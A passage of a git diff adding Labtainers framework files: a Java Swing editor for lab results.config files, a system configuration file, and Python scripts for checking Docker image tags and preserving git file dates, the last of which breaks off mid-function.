resultsConfigFile; + } + else if(resultsConfigFile.createNewFile()){ + //Create new results.config file otherwise(if it does not already exist) + try (BufferedWriter writer = new BufferedWriter(new FileWriter(resultsConfigFile))) { + writer.write(baseText); + } + return resultsConfigFile; + } + else{ //File could not be created so return error message + System.out.println("Results Config File couldn't be initialzed."); + return null; + } + } + + //Handles all the error data and error checking before writing the results.config + private class ErrorHandler{ + private boolean overallPass; + private String errorMsg; + private boolean + resultError, + fileError, + timeDelimiterError, + fieldTypeTokenError, + fieldTypeParamError, + lineIDError, + + resultTagMissing, + fileIDMissing, + timeDelimiterMissing, + fieldIDMissing, + lineIDMissing; + + + ErrorHandler(){ + overallPass = true; + errorMsg = ""; + checkReset(); + } + + void fail(){ + overallPass = false; + } + + //Resets the error status(used right before looking at new artifact line) + private void checkReset(){ + resultError = false; + fileError = false; + timeDelimiterError = false; + fieldTypeTokenError = false; + fieldTypeParamError = false; + lineIDError = false; + + resultTagMissing = false; + fileIDMissing = false; + timeDelimiterMissing = false; + fieldIDMissing = false; + lineIDMissing = false; + + } + + //Builds error message detailing the errors that appear in the user input + boolean userInputCheck(int artifactIndex){ + boolean rowPassed = true; + String infoMsg = "Artifact Line: " + artifactIndex + System.lineSeparator(); + + if(resultTagMissing){ + rowPassed = false; + infoMsg+= "-Result Tag input is missing." + System.lineSeparator(); + } + if(fileIDMissing){ + rowPassed = false; + infoMsg+= "-File ID input is missing." + System.lineSeparator(); + } + if(timeDelimiterMissing){ + rowPassed = false; + infoMsg+= "-Time Delimiter input is missing." + System.lineSeparator(); + } + if(fieldIDMissing){ + rowPassed = false; + infoMsg+= "-Field ID input is missing." + System.lineSeparator(); + } + if(lineIDMissing){ + rowPassed = false; + infoMsg+= "-Line ID input is missing)." + System.lineSeparator(); + } + if(resultError){ + rowPassed = false; + infoMsg+= "-Make sure your Results Tag has only alphanumeric characters or underscores." + System.lineSeparator(); + } + if(fileError){ + rowPassed = false; + infoMsg+= "-Make sure your File ID file's extentsion ends in \".stdin\", \".stdout\", or \".prgout\"." + System.lineSeparator() + " Or is a file path." + System.lineSeparator(); + } + if(timeDelimiterError){ + rowPassed = false; + infoMsg+= "-Timestamp Delimiter Option is only available if your File ID is a file path." + System.lineSeparator(); + } + if(fieldTypeTokenError){ + rowPassed = false; + infoMsg+= "-If your Field Type is TOKEN then make sure your Field ID is a positve number(zero exclusive), \"ALL\", or \"LAST\"." + System.lineSeparator(); + } + if(fieldTypeParamError){ + rowPassed = false; + infoMsg+= "-If your Field Type is PARAM then make sure your Field ID is a positve number(zero inclusive)." + System.lineSeparator(); + } + if(lineIDError){ + rowPassed = false; + infoMsg+= "-If your Line Type is LINE then make sure your Line ID is a positve number(zero exclusive)." + System.lineSeparator(); + } + + + if(!rowPassed) + errorMsg += (infoMsg + System.lineSeparator()); + + return rowPassed; + } + + //Check for duplicate results Taga + void checkDuplicateResultTags(ArrayList resultTags){ + ArrayList markedResultTags = new ArrayList<>(); + + //Store all the indices for each unique result tag + for(int i=0;i 1){ + duplicateErrorMsg+= "Duplicate Result Tag: \"" + rt.resultTag + "\" on rows "; + + for(int i=0;i indices; + + ResultTagIndices(String resultTag, int index){ + this.resultTag = resultTag; + indices = new ArrayList<>(); + indices.add(index); + } + + void addIndex(int index){ + indices.add(index); + } + } + + //Is the result tag already in the duplicate list? + boolean isDuplicate(ArrayList markedResultTags, String resultTag){ + for(ResultTagIndices rtIndices : markedResultTags){ + if(rtIndices.resultTag.equals(resultTag)) + return true; + } + return false; + } + + //Get the duplicate object based on the duplicate string + ResultTagIndices getDuplicate(ArrayList markedResultTags, String resultTag){ + for(ResultTagIndices rtIndices : markedResultTags){ + if(rtIndices.resultTag.equals(resultTag)) + return rtIndices; + } + return null; + } + + + @Override + public String toString(){ + return errorMsg; + } + + boolean passStatus(){ + return overallPass; + } + } + + +//GENERAL~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + //Gets the artifact lines in the goals.config + protected ArrayList getArtifactLines(){ + ArrayList artifacts = new ArrayList<>(); + + try { + String userHomeFolder = System.getProperty("user.home"); + File lab = new File(userHomeFolder + File.separator + "labtainer" + File.separator + "trunk" + File.separator + "labs" + File.separator+ labname); + File resultsConfig = new File(lab+"/instr_config/results.config"); + + //Get the artifact lines + if(resultsConfig.exists()){ + try (FileReader fileReader = new FileReader(resultsConfig)) { + BufferedReader bufferedReader = new BufferedReader(fileReader); + String line = bufferedReader.readLine(); + + while (line != null) { + //just checks if the first character is: not empty, not a hash, and not whitspace) + if(!line.isEmpty() && line.charAt(0) != '#' && !Character.isWhitespace(line.charAt(0))) + artifacts.add(line); + + line = bufferedReader.readLine(); + } + } + return artifacts; + } + else{ + System.out.println("No results.config file in the loaded lab!"); + return null; + } + } + catch (IOException e) { + System.out.println("Issue with getting result.config artifacts"); + return null; + } + } + + //Updates the list of artifacts + protected void updateListofArtifacts(JPanel PanelofArtifacts){ + Component[] artifacts = PanelofArtifacts.getComponents(); //Access the list of artifacts + + List listofArtifactsTMP = new ArrayList<>(); + + //Iterate through each artifact and add it to the temp list of artifact values + for (Component artifact : artifacts) { + //RESULTS TAG + String resultTag = ((ArtifactPanels) artifact).getTagTextField().getText(); + //FILEID CONFIG + String file = ((ArtifactPanels) artifact).getFileTextField().getText(); + String container = (String) (((ArtifactPanels) artifact).getContainerComboBox().getSelectedItem()); + ToolTipHandlers.ToolTipWrapper timeStampType = (ToolTipHandlers.ToolTipWrapper) (((ArtifactPanels) artifact).getTimeStampComboBox().getSelectedItem()); + String timeStampDelimiter = ((ArtifactPanels) artifact).getTimeStampTextField().getText(); + //FieldType + ToolTipHandlers.ToolTipWrapper fieldType = (ToolTipHandlers.ToolTipWrapper) (((ArtifactPanels) artifact).getFieldTypeComboBox().getSelectedItem()); + String fieldID = ((ArtifactPanels) artifact).getFieldIDTextField().getText(); + //LINE_TYPE and LINE ID + ToolTipHandlers.ToolTipWrapper lineType = (ToolTipHandlers.ToolTipWrapper) (((ArtifactPanels) artifact).getLineTypeComboBox().getSelectedItem()); + String lineID = ((ArtifactPanels) artifact).getLineIDTextField().getText(); + + listofArtifactsTMP.add(new ArtifactValues(resultTag, container, file, fieldType, fieldID, lineType, lineID, timeStampType, timeStampDelimiter)); + } + + listofArtifacts = listofArtifactsTMP; //overwrite the old listofArtifacts with the temp listofArtifacts + } + + //Swaps the position of artifacts in a list + protected void swapArtifacts(String type, int rowIndex){ + + switch(type){ + case "UP": + if(rowIndex > 0){ + //System.out.println("UP: "+listofArtifacts.get(rowIndex).resultTag+" Index: "+rowIndex); + Collections.swap(listofArtifacts, rowIndex, rowIndex-1); + } + break; + case "DOWN": + //System.out.println(rowCount); + //System.out.println("RowINdex: " + rowIndex + " RowCount-1: "+ (rowCount-1)); + if(rowIndex < rowCount-1){ + //System.out.println("DOWN: "+listofArtifacts.get(rowIndex).resultTag); + Collections.swap(listofArtifacts, rowIndex, rowIndex+1); + } + break; + default: + System.out.println("swap case no register"); + } + } + + //Gets a list of ArtifactValues from the the current state of the results.config file + protected List getArtifactValuesOfConfigFile(){ + List officialListofArtifacts = new ArrayList<>(); + + ArrayList artifactLines = getArtifactLines(); + + if(artifactLines != null){ + + for(String artifactLine : artifactLines){ + ArtifactValues values = new ArtifactValues(artifactLine); + officialListofArtifacts.add(values); + } + return officialListofArtifacts; + } + else + return null; + } + + //Compares the data of two lists of ArtifactValues. If there is a difference then return 'true', 'false' otherwise + static boolean artifactValuesDiffer(List list1, List list2){ + if(list1.size() != list2.size()){ + return true; + } + else{ + //This is a gross implemenation of comparing each individual value between two sets of Artifact Values (Maybe conisder implementing the ArtifactValues Class as a comparable) + for(int i=0;i list1, List list2) method + static private void printlistValues(List list1, List list2, int i){ + System.out.println("Result Tag: "); + System.out.println("UI: "+list1.get(i).resultTag); + System.out.println("Config: "+list2.get(i).resultTag); + System.out.println(); + + System.out.println("File ID: "); + System.out.println("UI: "+list1.get(i).fileID); + System.out.println("Config: "+list2.get(i).fileID); + System.out.println(); + + System.out.println("Field Type: "); + System.out.println("UI: "+list1.get(i).fieldType); + System.out.println("Config: "+list2.get(i).fieldType); + System.out.println(); + + System.out.println("Field ID: "); + System.out.println("UI: "+list1.get(i).fieldID); + System.out.println("Config: "+list2.get(i).fieldID); + System.out.println(); + + System.out.println("Line Type: "); + System.out.println("UI: "+list1.get(i).lineType); + System.out.println("Config: "+list2.get(i).lineType); + System.out.println(); + + System.out.println("Line ID: "); + System.out.println("UI: "+list1.get(i).lineID); + System.out.println("Config: "+list2.get(i).lineID); + System.out.println(); + + System.out.println("TimeStamp Type: "); + System.out.println("UI: "+list1.get(i).timeStampType); + System.out.println("Config: "+list2.get(i).timeStampType); + System.out.println(); + + System.out.println("TimeStamp Delim: "); + System.out.println("UI: "+list1.get(i).timeStampDelimiter); + System.out.println("Config: "+list2.get(i).timeStampDelimiter); + System.out.println(); + + System.out.println("CONTAINER: "); + System.out.println("UI: "+list1.get(i).container); + System.out.println("Config: "+list2.get(i).container); + System.out.println(); + + + + + + + } + +//GETTERS~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + protected List getListofArtifacts(){ + return listofArtifacts; + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ResultsUI.form b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ResultsUI.form new file mode 100644 index 000000000..8fa23d5a7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ResultsUI.form @@ -0,0 +1,210 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ResultsUI.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ResultsUI.java new file mode 100644 index 000000000..e121ba1e7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ResultsUI.java @@ -0,0 +1,355 @@ +package ResultsUI; + + +import static ResultsUI.ResultsData.artifactValuesDiffer; +import java.awt.Component; +import javax.swing.JFrame; +import javax.swing.JOptionPane; +import javax.swing.JPanel; + +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ + +/** + * + * @author Dan + */ +public class ResultsUI extends javax.swing.JFrame { + ResultsData dataUI; + + public ResultsUI() { + initComponents(); + LabNotExist.setVisible(false); + + dataUI = new ResultsData(); + } + + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + ScrollPaneOfArtifacts = new javax.swing.JScrollPane(); + PanelofArtifacts = new javax.swing.JPanel(); + UpdateButton = new javax.swing.JButton(); + jLabel2 = new javax.swing.JLabel(); + RemoveAllButton = new javax.swing.JButton(); + jLabel9 = new javax.swing.JLabel(); + CreateButton = new javax.swing.JButton(); + jLabel3 = new javax.swing.JLabel(); + jLabel5 = new javax.swing.JLabel(); + jLabel1 = new javax.swing.JLabel(); + LabNameTextField = new javax.swing.JTextField(); + LabNotExist = new javax.swing.JLabel(); + + setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); + setBackground(new java.awt.Color(255, 255, 255)); + setMinimumSize(new java.awt.Dimension(1590, 500)); + setPreferredSize(new java.awt.Dimension(1585, 389)); + addWindowListener(new java.awt.event.WindowAdapter() { + public void windowClosing(java.awt.event.WindowEvent evt) { + formWindowClosing(evt); + } + }); + + ScrollPaneOfArtifacts.setAutoscrolls(true); + ScrollPaneOfArtifacts.setMaximumSize(new java.awt.Dimension(1300, 800)); + + PanelofArtifacts.setLayout(new javax.swing.BoxLayout(PanelofArtifacts, javax.swing.BoxLayout.PAGE_AXIS)); + ScrollPaneOfArtifacts.setViewportView(PanelofArtifacts); + + UpdateButton.setText("Update"); + UpdateButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + UpdateButtonActionPerformed(evt); + } + }); + + jLabel2.setFont(new java.awt.Font("Arial", 1, 12)); // NOI18N + jLabel2.setText("Container"); + jLabel2.setToolTipText("Identifies the container hosting the file. \nIf \"ALL\" is selected, then the file is across all the containers."); + + RemoveAllButton.setFont(new java.awt.Font("Dialog", 1, 12)); // NOI18N + RemoveAllButton.setText("Remove All"); + RemoveAllButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + RemoveAllButtonActionPerformed(evt); + } + }); + + jLabel9.setFont(new java.awt.Font("Arial Black", 0, 12)); // NOI18N + jLabel9.setText("Lab Name: "); + + CreateButton.setFont(new java.awt.Font("Dialog", 1, 12)); // NOI18N + CreateButton.setText("Create"); + CreateButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + CreateButtonActionPerformed(evt); + } + }); + + jLabel3.setFont(new java.awt.Font("Arial", 1, 12)); // NOI18N + jLabel3.setText("Field Type"); + jLabel3.setToolTipText("The mode in which a value is found."); + + jLabel5.setFont(new java.awt.Font("Arial", 1, 12)); // NOI18N + jLabel5.setText("File"); + jLabel5.setToolTipText("File should either be a file path or a program/utility name with the \".stdin\", \".stdout\", or \".prgout\" extension.\n\n Ex. \"test.stdin\", \".local/result/sniff.txt\" "); + + jLabel1.setFont(new java.awt.Font("Arial", 1, 12)); // NOI18N + jLabel1.setText("Result Tag"); + jLabel1.setToolTipText("The symbolic name of the result, which will be referenced in the goals configuration file. \n\n(It must be alphanumeric, underscores permitted) "); + + LabNameTextField.setPreferredSize(new java.awt.Dimension(6, 25)); + LabNameTextField.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + LabNameTextFieldActionPerformed(evt); + } + }); + + LabNotExist.setFont(new java.awt.Font("Tahoma", 1, 14)); // NOI18N + LabNotExist.setText("Lab does not exist!"); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(CreateButton) + .addGap(10, 10, 10) + .addComponent(RemoveAllButton) + .addGap(98, 98, 98) + .addComponent(jLabel9) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(LabNameTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 378, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addComponent(LabNotExist) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 344, Short.MAX_VALUE) + .addComponent(UpdateButton)) + .addComponent(ScrollPaneOfArtifacts, javax.swing.GroupLayout.DEFAULT_SIZE, 1300, Short.MAX_VALUE)) + .addContainerGap()) + .addGroup(layout.createSequentialGroup() + .addGap(60, 60, 60) + .addComponent(jLabel1) + .addGap(74, 74, 74) + .addComponent(jLabel2) + .addGap(66, 66, 66) + .addComponent(jLabel5) + .addGap(131, 131, 131) + .addComponent(jLabel3) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(CreateButton) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(RemoveAllButton) + .addComponent(jLabel9) + .addComponent(LabNameTextField, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(UpdateButton) + .addComponent(LabNotExist))) + .addGap(14, 14, 14) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel1) + .addComponent(jLabel2) + .addComponent(jLabel5) + .addComponent(jLabel3)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(ScrollPaneOfArtifacts, javax.swing.GroupLayout.DEFAULT_SIZE, 317, Short.MAX_VALUE)) + ); + + pack(); + }// //GEN-END:initComponents + + private void UpdateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_UpdateButtonActionPerformed + update(); + }//GEN-LAST:event_UpdateButtonActionPerformed + + private void update(){ + if(dataUI.labloaded) + dataUI.writeResultsConfig(PanelofArtifacts); + } + + private void LabNameTextFieldActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_LabNameTextFieldActionPerformed + loadLab(); + }//GEN-LAST:event_LabNameTextFieldActionPerformed + + //Checks if the lab exists and will load lab's result config if it does + private void loadLab(){ + dataUI = new ResultsData(getLabName()); + //System.out.println("RowCount(Load): " + dataUI.rowCount); + + if(dataUI.labloaded){ + LabNotExist.setVisible(false); + artifactsPanelRedraw(); + } + else + LabNotExist.setVisible(true); + } + + private void CreateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_CreateButtonActionPerformed + createFreshArtifact(); + }//GEN-LAST:event_CreateButtonActionPerformed + + //Creates and loads a new artifact row + private void createFreshArtifact(){ + if(dataUI.labloaded){ + dataUI.rowCount++; + ArtifactPanels newArtifact = new ArtifactPanels(this, dataUI.containerList, dataUI.rowCount); + PanelofArtifacts.add(newArtifact); + PanelofArtifacts.revalidate(); + PanelofArtifacts.repaint(); + } + } + + private void RemoveAllButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_RemoveAllButtonActionPerformed + removeAllButton(); + }//GEN-LAST:event_RemoveAllButtonActionPerformed + + private void removeAllButton(){ + if(dataUI.labloaded){ + if(JOptionPane.showConfirmDialog(null, "Are you sure you want to remove all?") == JOptionPane.YES_OPTION){ + removeAllArtifacts(); + dataUI.rowCount = 0; + + } + } + } + + private void formWindowClosing(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_formWindowClosing + checkUnsavedChangesMade(); + }//GEN-LAST:event_formWindowClosing + + //Check if the the current state of the UI matches with what's saved in the goals.config + void checkUnsavedChangesMade(){ + if(dataUI.labloaded){ + dataUI.updateListofArtifacts(PanelofArtifacts); + + if(artifactValuesDiffer(dataUI.listofArtifacts, dataUI.getArtifactValuesOfConfigFile())){ + int confirmed = JOptionPane.showConfirmDialog(null, + "There are Unsaved Changes. Are you sure you want to exit the program?", "Unsaved Changes", + JOptionPane.YES_NO_OPTION); + + if (confirmed == JOptionPane.YES_OPTION) + dispose(); + else + setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE); + } + else + dispose(); + } + } + +//General Methods + //Updates the list of artifacts and redraws them on screen + void refresh(){ + dataUI.updateListofArtifacts(PanelofArtifacts); + artifactsPanelRedraw(); + } + + //Redraws the artifacts Panel + void artifactsPanelRedraw(){ + removeAllArtifacts(); + //redraw the artifacts + for(int i=0; i < dataUI.listofArtifacts.size(); i++){ + loadArtifact(dataUI.listofArtifacts.get(i), i+1); + } + } + + //Removes all the artifact lines for the lab *note: this doesn't update results.config or the resultsData until the user hits the update button + private void removeAllArtifacts(){ + Component[] componentList = PanelofArtifacts.getComponents(); + for(Component c: componentList) + PanelofArtifacts.remove(c); + + PanelofArtifacts.revalidate(); + PanelofArtifacts.repaint(); + } + + //Load's the artifactlinePanel into GUI + private void loadArtifact(ArtifactValues artifactVal, int rowNum){ + ArtifactPanels newArtifact = new ArtifactPanels(this, dataUI.containerList, rowNum, + artifactVal.resultTag, + artifactVal.container, + artifactVal.fileID, + artifactVal.fieldType, + artifactVal.fieldID, + artifactVal.lineType, + artifactVal.lineID, + artifactVal.timeStampType, + artifactVal.timeStampDelimiter); + PanelofArtifacts.add(newArtifact); + PanelofArtifacts.revalidate(); + PanelofArtifacts.repaint(); + } + + //Gets the labname + private String getLabName(){ + return LabNameTextField.getText(); + } + + //Gets the panel holding the artifacts + protected JPanel getPanelofArtifacts(){ + return PanelofArtifacts; + } + + public static void main(String args[]) { + /* Set the Nimbus look and feel */ + // + /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. + * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html + */ + try { + for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { + if ("Nimbus".equals(info.getName())) { + javax.swing.UIManager.setLookAndFeel(info.getClassName()); + break; + } + } + } catch (ClassNotFoundException | InstantiationException | IllegalAccessException | javax.swing.UnsupportedLookAndFeelException ex) { + java.util.logging.Logger.getLogger(ResultsUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } + // + // + // + // + + // + + /* Create and display the form */ + java.awt.EventQueue.invokeLater(() -> { + ResultsUI newResultsUI = new ResultsUI(); + newResultsUI.setSize(1005, 1000); + newResultsUI.setVisible(true); + }); + } + + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton CreateButton; + private javax.swing.JTextField LabNameTextField; + private javax.swing.JLabel LabNotExist; + private javax.swing.JPanel PanelofArtifacts; + private javax.swing.JButton RemoveAllButton; + private javax.swing.JScrollPane ScrollPaneOfArtifacts; + private javax.swing.JButton UpdateButton; + private javax.swing.JLabel jLabel1; + private javax.swing.JLabel jLabel2; + private javax.swing.JLabel jLabel3; + private javax.swing.JLabel jLabel5; + private javax.swing.JLabel jLabel9; + // End of variables declaration//GEN-END:variables +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ToolTipHandlers.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ToolTipHandlers.java new file mode 100644 index 000000000..a7990d374 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ToolTipHandlers.java @@ -0,0 +1,73 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ +package ResultsUI; + +import java.awt.Component; +import javax.swing.DefaultListCellRenderer; +import javax.swing.JComboBox; +import javax.swing.JComponent; +import javax.swing.JList; + +/** + * + * @author Dan + */ +public class ToolTipHandlers { + public static interface ToolTipProvider{ + public String getToolTip(); + } + + //Stores an item and its correspoinding tool tip. (Items put into a combobox) + public static class ToolTipWrapper implements ToolTipProvider{ + final String item; + final String toolTip; + + public ToolTipWrapper(String item, String toolTip){ + this.item = item; + this.toolTip = toolTip; + } + + @Override + public String getToolTip(){ + return toolTip; + } + + @Override + public String toString(){ + return item; + } + + public String getItem(){ + return item; + } + } + + //custom combobox renderer to handle ToolTipWrapper objects that contain an string item and string tool tip + public static class ComboBoxRenderer extends DefaultListCellRenderer { + + @Override + public Component getListCellRendererComponent(JList list, Object value, int index, boolean isSelected, boolean cellHasFocus) { + JComponent component = (JComponent) super.getListCellRendererComponent(list, value, index, isSelected, cellHasFocus); + String tip = null; + if (value instanceof ToolTipProvider) { + ToolTipProvider ttp = (ToolTipProvider) value; + tip = ttp.getToolTip(); + } + list.setToolTipText(tip); + return component; + } + } + + //Sets the combo items with associated tool tips (called in the constructors) + public static void setComboItems(JComboBox combobox, ToolTipWrapper[] items){ + ComboBoxRenderer renderer = new ComboBoxRenderer(); + combobox.setRenderer(renderer); + + for (ToolTipWrapper item : items) { + combobox.addItem(item); + } + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/config/labtainer.config b/modules/utilities/unix/labtainers/files/Labtainers-master/config/labtainer.config new file mode 100644 index 000000000..0123f9535 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/config/labtainer.config @@ -0,0 +1,40 @@ +# Filename : labtainer.config +# Description: +# This is a system wide configuration file +# +# WARNING: if you add relative paths to this file, +# make sure that ParseLabtainerConfig.py converts them +# to absolute paths. +# +GLOBAL_SETTINGS + # HOST_HOME_XFER - directory to transfer artifact to/from containers + # This directory will be set relative to the current user's home directory + # For example: if current user is joe and his home directory is /home/joe + # then the actual transfer directory is /home/joe/labtainer_xfer/ + HOST_HOME_XFER labtainer_xfer/ + + # TESTSETS_ROOT - root directory for Regression Testing + # This directory is based on directory hierarchy (as checked out from svn) + # scripts that use is ran from ..../labtainer/trunk/scripts/labtainer-student/ or + # ..../labtainer/trunk/scripts/labtainer-instructor/ + # Regression Testing directory is ..../labtainer/testsets/labs/ + TESTSETS_ROOT ../../testsets/labs/ + + # WATERMARK_ROOT - root directory for Watermark Testing + # This directory is based on directory hierarchy (as checked out from svn) + # scripts that use is ran from ..../labtainer/trunk/scripts/labtainer-student/ or + # ..../labtainer/trunk/scripts/labtainer-instructor/ + # Watermark Testing directory is ..../labtainer/testsets/watermark/ + WATERMARK_ROOT ../../testsets/watermark/ + + # FILE_LOG_LEVEL and CONSOLE_LOG_LEVEL + # valid levels are: DEBUG, INFO, WARNING or ERROR + # specifies the log level to file and console respectively + # log to file logging.INFO and above + FILE_LOG_LEVEL DEBUG + # log to console logging.WARNING and above + CONSOLE_LOG_LEVEL WARNING + # An alternate apt/sources.list hostname. Default is archive.ubuntu.com + #APT_SOURCE mirror.picosecond.org + DEFAULT_REGISTRY mfthomps + TEST_REGISTRY testregistry:5000 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/check_tag.py b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/check_tag.py new file mode 100755 index 000000000..84b8c9017 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/check_tag.py @@ -0,0 +1,83 @@ +#!/usr/bin/env python +import os +import sys +import argparse +sys.path.append('../scripts/labtainer-student/bin') +import InspectLocalReg +import InspectRemoteReg +import VersionInfo +import labutils +import subprocess +import labutils +''' +Compare all labtainer image base labels with when would be expected based +on the docker file. Fix the ones that are not consistent. +''' + +def do_lab(lab_dir, lab, role, registry): + framework_version = labutils.framework_version + docker_dir = os.path.join(lab_dir, lab, 'dockerfiles') + if not os.path.isdir(docker_dir): + print('%s not a directory' % docker_dir) + return + print('LAB: %s' % lab) + df_list = [f for f in os.listdir(docker_dir) if os.path.isfile(os.path.join(docker_dir, f))] + for df in df_list: + if df.endswith('.swp'): + continue + dfile_path = os.path.join(docker_dir,df) + image_base = VersionInfo.getFrom(dfile_path, registry) + print('image base from %s is %s' % (dfile_path, image_base)) + base_id = VersionInfo.getImageId(image_base) + try: + parts = df.split('.') + image = '%s.%s.%s' % (parts[1], parts[2], role) + except: + print('could not get image from %s' % df); + continue + print('image: %s expect base %s' % (image, image_base)) + created, user, version, use_tag, base = InspectLocalReg.inspectLocal(image, registry, True) + print('created: %s user: %s version: %s tag %s base %s' % (created, user, version, use_tag, base)) + if not base.startswith(image_base): + cmd = './relabel.sh %s %s %s %s %s' % (registry, framework_version , image, image_base, base_id) + print("MISMATCH") + print cmd + os.system(cmd) + + + +def main(): + parser = argparse.ArgumentParser(description='Build the images labs and publish to a registry') + parser.add_argument('-l', '--lab', action='store', help='retag just this lab') + parser.add_argument('-t', '--test_registry', action='store_true', default=False, help='build and publish with test registry') + parser.add_argument('-s', '--start', action='store', help='start with lab') + skip = [] + with open('skip-labs') as fh: + for line in fh: + f = os.path.basename(line).strip() + #print('will skip [%s]' % f) + skip.append(f) + + labdir = '../labs' + lab_list = os.listdir(labdir) + # + # test with a single lab. Then use loop below once it works. + # + args = parser.parse_args() + registry = 'mfthomps' + if args.test_registry: + registry = 'testregistry:5000' + if args.lab is not None: + print('retag lab %s' % args.lab) + do_lab(labdir, args.lab, 'student', registry) + do_lab(labdir, args.lab, 'instructor', registry) + else: + #print('commented out for now') + for lab in sorted(lab_list): + if lab not in skip: + if args.start is not None and lab < args.start: + continue + do_lab(labdir, lab, 'student', registry) + do_lab(labdir, lab, 'instructor', registry) +if __name__ == '__main__': + sys.exit(main()) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/fix-git-dates.py b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/fix-git-dates.py new file mode 100755 index 000000000..b01878c76 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/fix-git-dates.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python + +import subprocess, shlex +import sys, os.path +import logging as logger +import argparse +import time + +parser = argparse.ArgumentParser( + description='Use git archive and file times from the current repo to' + 'checkout a subset of a git repo with file dates taken from the' + 'repo.' + 'Current directory must be inside work tree') + +parser.add_argument('--verbose', '-v', + action="store_true", + help='print warnings and debug info for each processed file. ') + +parser.add_argument('pathspec', + help='path to subdirectory, relative to repo top') + +parser.add_argument('dist_path', help='directory of distribution tree') + +args = parser.parse_args() +logger.basicConfig(level=logger.DEBUG if args.verbose else logger.ERROR, + format='%(levelname)s:\t%(message)s') + +# Find repo's top level. +try: + workdir = os.path.abspath(subprocess.check_output(shlex.split( + 'git rev-parse --show-toplevel')).strip()) +except subprocess.CalledProcessError as e: + sys.exit(e.returncode) + + +# List files matching user pathspec, relative to current directory +# git commands always print paths relative to work tree root +filelist = set() + +path = os.path.join(workdir, args.pathspec) +# file or symlink (to file, to dir or broken - git handles the same way) +if os.path.isfile(path) or os.path.islink(path): 